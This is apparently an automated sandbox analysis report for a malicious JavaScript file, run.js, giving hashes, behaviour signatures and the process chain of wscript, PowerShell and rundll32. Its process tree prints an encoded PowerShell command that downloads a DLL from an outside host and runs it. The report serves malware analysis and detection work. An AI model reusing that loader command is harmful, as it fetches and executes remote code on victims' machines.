Analysis

  • max time kernel
    30s
  • max time network
    32s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    14/03/2023, 19:31

General

  • Target

    run.js

  • Size

    42KB

  • MD5

    2bedf6f65230d11ccc422b3e8b98f5f9

  • SHA1

    6abec92a601ca977b948a1c76463ce62a931c636

  • SHA256

    00d751b0a89832cf9cb203829b87e03d433c60567331d82d41e91c15684b89c2

  • SHA512

    b6f53438fd5847e75c88895cd843f5c0bfd7cc24306970ea64d622633922bec6fe02f123ff0e7f493eeb270c498f0341cdff0ac27d368a7693c9e05418050994

  • SSDEEP

    768:670R3nClDldmfY/ogGse6+JK2xboZaYEj7Sop4mkbJXbcFvP4ER4+rVBuCpYurDE:fClDrSgkKrYny2/OYbS

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\run.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:316
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAGgAdAB0AHAAcwA6AC8ALwBzAG8AZgB0AHMAdwBhAHAAcAAuAGMAbwBtAC8AVgBDAHYALwB0ACAALQBPACAAJABlAG4AdgA6AFQARQBNAFAAXABBAHIAYwBoAGkAYwBvAGUAbABlAFMAYQBwAHAAaABpAHMAdABzAC4AZABsAGwAOwBzAHQAYQByAHQAIAByAHUAbgBkAGwAbAAzADIAIAAkAGUAbgB2ADoAVABFAE0AUABcAFwAQQByAGMAaABpAGMAbwBlAGwAZQBTAGEAcABwAGgAaQBzAHQAcwAuAGQAbABsACwAWABTADgAOAA7AA=="
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1352
      • C:\Windows\system32\rundll32.exe
        "C:\Windows\system32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\\ArchicoeleSapphists.dll XS88
        3⤵
          PID:1744

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1352-58-0x000000001B1F0000-0x000000001B4D2000-memory.dmp

      Filesize

      2.9MB

    • memory/1352-59-0x0000000002900000-0x0000000002980000-memory.dmp

      Filesize

      512KB

    • memory/1352-60-0x0000000001F90000-0x0000000001F98000-memory.dmp

      Filesize

      32KB

    • memory/1352-61-0x0000000002900000-0x0000000002980000-memory.dmp

      Filesize

      512KB

    • memory/1352-62-0x0000000002900000-0x0000000002980000-memory.dmp

      Filesize

      512KB

    • memory/1352-63-0x0000000002900000-0x0000000002980000-memory.dmp

      Filesize

      512KB